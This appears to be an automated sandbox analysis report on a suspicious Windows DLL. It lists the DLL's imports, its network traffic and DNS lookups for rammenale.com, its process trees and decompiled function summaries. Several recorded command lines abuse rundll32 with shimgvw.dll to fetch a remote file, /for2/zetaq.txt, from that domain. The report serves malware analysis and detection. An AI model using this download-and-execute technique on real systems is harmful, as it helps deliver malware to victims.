KERNEL32.dll	LoadLibraryExW, WriteConsoleW, SetEndOfFile, HeapReAlloc, HeapSize, CreateFileW, FlushFileBuffers, GetStringTypeW, SetStdHandle, GetProcessHeap, ExitProcess, ExpandEnvironmentStringsW, TerminateProcess, Sleep, CloseHandle, GetProcAddress, CreateProcessW, GetModuleHandleW, GetEnvironmentVariableW, LocalFree, GetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, FreeEnvironmentStringsW, RtlUnwind, RaiseException, InterlockedFlushSList, SetLastError, EncodePointer, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, DecodePointer, ReadFile, MoveFileExW, GetModuleHandleExW, GetModuleFileNameW, SetFilePointerEx, GetConsoleMode, ReadConsoleW, GetStdHandle, GetFileType, HeapFree, HeapAlloc, LCMapStringW, WriteFile, GetConsoleOutputCP, GetFileSizeEx, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW

Exports

Name	Ordinal	Address
mydllmain	1	0x1000101b

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 29, 2024 06:53:03.154005051 CEST	49732	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:03.154042959 CEST	443	49732	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:03.154159069 CEST	49732	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:03.181763887 CEST	49733	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:03.181798935 CEST	443	49733	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:03.181888103 CEST	49733	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:03.184397936 CEST	49732	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:03.184413910 CEST	443	49732	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:03.191679955 CEST	49733	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:03.191695929 CEST	443	49733	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:03.955569983 CEST	49735	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:03.955595970 CEST	443	49735	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:03.955672979 CEST	49735	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:03.964838982 CEST	49735	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:03.964859009 CEST	443	49735	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:04.114339113 CEST	443	49732	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:04.114342928 CEST	443	49733	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:04.114413977 CEST	49733	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:04.114417076 CEST	49732	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:04.174293995 CEST	49732	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:04.174308062 CEST	443	49732	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:04.174496889 CEST	49733	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:04.174515963 CEST	443	49733	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:04.174596071 CEST	443	49732	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:04.174658060 CEST	49732	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:04.174807072 CEST	443	49733	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:04.174966097 CEST	49733	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:04.178992987 CEST	49733	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:04.179011106 CEST	49732	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:04.220504999 CEST	443	49733	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:04.220510006 CEST	443	49732	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:04.702300072 CEST	443	49733	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:04.702363014 CEST	49733	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:04.702383041 CEST	443	49733	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:04.702433109 CEST	49733	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:04.702439070 CEST	443	49733	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:04.702477932 CEST	49733	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:04.702486992 CEST	443	49733	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:04.702497959 CEST	443	49733	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:04.702527046 CEST	49733	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:04.702564955 CEST	49733	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:04.703013897 CEST	49733	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:04.703028917 CEST	443	49733	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:04.703039885 CEST	49733	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:04.703077078 CEST	49733	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:04.703458071 CEST	443	49732	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:04.703510046 CEST	49732	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:04.703531027 CEST	443	49732	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:04.703583956 CEST	49732	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:04.703596115 CEST	443	49732	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:04.703634977 CEST	443	49732	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:04.703659058 CEST	49732	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:04.703682899 CEST	49732	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:04.705193043 CEST	49732	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:04.705208063 CEST	443	49732	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:04.705219030 CEST	49732	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:04.705252886 CEST	49732	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:04.876477003 CEST	443	49735	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:04.876564026 CEST	49735	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:04.923494101 CEST	49735	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:04.923508883 CEST	443	49735	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:04.923777103 CEST	443	49735	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:04.923844099 CEST	49735	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:04.925523996 CEST	49735	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:04.972507954 CEST	443	49735	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:05.468079090 CEST	443	49735	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:05.468182087 CEST	49735	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:05.468202114 CEST	443	49735	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:05.468247890 CEST	49735	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:05.468254089 CEST	443	49735	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:05.468264103 CEST	443	49735	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:05.468303919 CEST	49735	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:05.468322039 CEST	49735	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:05.468950987 CEST	49735	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:05.468965054 CEST	443	49735	131.153.206.231	192.168.2.4
Aug 29, 2024 06:53:05.468976021 CEST	49735	443	192.168.2.4	131.153.206.231
Aug 29, 2024 06:53:05.469014883 CEST	49735	443	192.168.2.4	131.153.206.231

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 29, 2024 06:53:02.464329958 CEST	56915	53	192.168.2.4	1.1.1.1
Aug 29, 2024 06:53:03.145097017 CEST	53	56915	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 29, 2024 06:53:02.464329958 CEST	192.168.2.4	1.1.1.1	0xbb8e	Standard query (0)	rammenale.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 29, 2024 06:53:03.145097017 CEST	1.1.1.1	192.168.2.4	0xbb8e	No error (0)	rammenale.com		131.153.206.231	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

rammenale.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	131.153.206.231	443	7440	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 04:53:04 UTC	287	OUT	GET /for2/zetaq.txt HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: rammenale.com Connection: Keep-Alive
2024-08-29 04:53:04 UTC	416	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Thu, 29 Aug 2024 04:53:04 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-08-29 04:53:04 UTC	952	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</sty
2024-08-29 04:53:04 UTC	299	IN	Data Raw: 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e 74 65 6e 74 20 Data Ascii: -top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	131.153.206.231	443	7432	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 04:53:04 UTC	287	OUT	GET /for2/zetaq.txt HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: rammenale.com Connection: Keep-Alive
2024-08-29 04:53:04 UTC	416	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Thu, 29 Aug 2024 04:53:04 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-08-29 04:53:04 UTC	952	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</sty
2024-08-29 04:53:04 UTC	299	IN	Data Raw: 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e 74 65 6e 74 20 Data Ascii: -top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49735	131.153.206.231	443	7716	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 04:53:04 UTC	287	OUT	GET /for2/zetaq.txt HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: rammenale.com Connection: Keep-Alive
2024-08-29 04:53:05 UTC	416	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Thu, 29 Aug 2024 04:53:05 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-08-29 04:53:05 UTC	952	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</sty
2024-08-29 04:53:05 UTC	299	IN	Data Raw: 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e 74 65 6e 74 20 Data Ascii: -top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content

Target ID:	0
Start time:	00:52:57
Start date:	29/08/2024
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\UiFttnkl2R.dll"
Imagebase:	0x8b0000
File size:	126'464 bytes
MD5 hash:	51E6071F9CBA48E79F10C84515AAE618
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	00:52:57
Start date:	29/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:52:57
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\UiFttnkl2R.dll",#1
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:52:57
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\UiFttnkl2R.dll,mydllmain
Imagebase:	0x260000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:52:57
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\UiFttnkl2R.dll",#1
Imagebase:	0x260000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:52:58
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/zetaq.txt
Imagebase:	0x260000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	00:52:58
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/zetaq.txt
Imagebase:	0x260000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Analysis Process: rundll32.exePID: 7716, Parent PID: 7332

General

Target ID:	8
Start time:	00:53:01
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/zetaq.txt
Imagebase:	0x260000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Disassembly

Reset < >

Analysis Process: loaddll32.exePID: 7332, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	2.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	7.4%
Total number of Nodes:	1996
Total number of Limit Nodes:	21

Executed Functions

Function 6CDF15A4 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 141
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,00000000,FAB51140,000003E8,00000000,00000000,?,6CE0A62A,000000FF), ref: 6CDF165C
TerminateProcess.KERNEL32(00000000), ref: 6CDF171F
CloseHandle.KERNEL32 ref: 6CDF172B
CloseHandle.KERNEL32 ref: 6CDF1737

Part of subcall function 6CDF1795: __fread_nolock.LIBCMT ref: 6CDF1871

FindNextFileW.KERNELBASE(00000000,00000000), ref: 6CDF1753

Strings

%s\%s, xrefs: 6CDF169E, 6CDF16F4
%s\*.*, xrefs: 6CDF1634

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: CloseFileFindHandle$FirstNextProcessTerminate__fread_nolock
String ID: %s\%s$%s\*.*
API String ID: 859259384-1665845743
Opcode ID: daa46c265728f1e10271b7be5fa1ecebb2950890d2d91d0af766eb5ac405411b
Instruction ID: 5e7857db29002d19b6464a18beda198aed04040c2ba8fcc881a50b29a8f28aa3
Opcode Fuzzy Hash: daa46c265728f1e10271b7be5fa1ecebb2950890d2d91d0af766eb5ac405411b
Instruction Fuzzy Hash: 9351D9B1A00288EBDF60DF65CC44BDD77B8FF48318F05452AE928D76A0DB749A49CB50

Function 6CDF2808 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 175
sleepCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentVariableW.KERNEL32(?,?,00000032,?,?,?,?,?,?,?,?,00000001,00000000,?,00000000), ref: 6CDF28A9
Sleep.KERNELBASE(000005DC,?,?,?,?,?,?,?,?,00000001,00000000,?,00000000), ref: 6CDF28C4
Sleep.KERNELBASE(00007530,?,?,?,?,?,?,?,?,00000001,00000000,?,00000000), ref: 6CDF28CB
ExpandEnvironmentStringsW.KERNEL32(?,?,000000FF), ref: 6CDF2A0E

Strings

IRA3BDVBaRAtB@VB[BAzBDVBYtAsBKRBOdApBD7B, xrefs: 6CDF2997
[BAABKBB`BAFBDFBgBAkBEtBVdAuBDFBaRAsBD7BYtA`BF3BbRAiBKJBatAyBD;BYdA3BEtBUdAkBKVBaBA3BEtBVtAoBDNBgRAzBDVBRdAuBD;BgBAUBFVBQdAIB@7BYBAkBB>>, xrefs: 6CDF2933
%s%s, xrefs: 6CDF2916, 6CDF297A
gRAyBDVB`dAtBKJBatAnBDhBaBAoBB>>, xrefs: 6CDF2833
[BAABKBB`BAFBDFBgBAkBEtBWBAuBDNBZRApBEtBWRAsBDNB`dAuBKNBatAnBKRB[BA[BDhBadAhBD;BgtAyBEtBPRALBDVBgBAGBDFBZtAlBDVB[BAIBFVB, xrefs: 6CDF28CD

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: EnvironmentSleep$ExpandStringsVariable
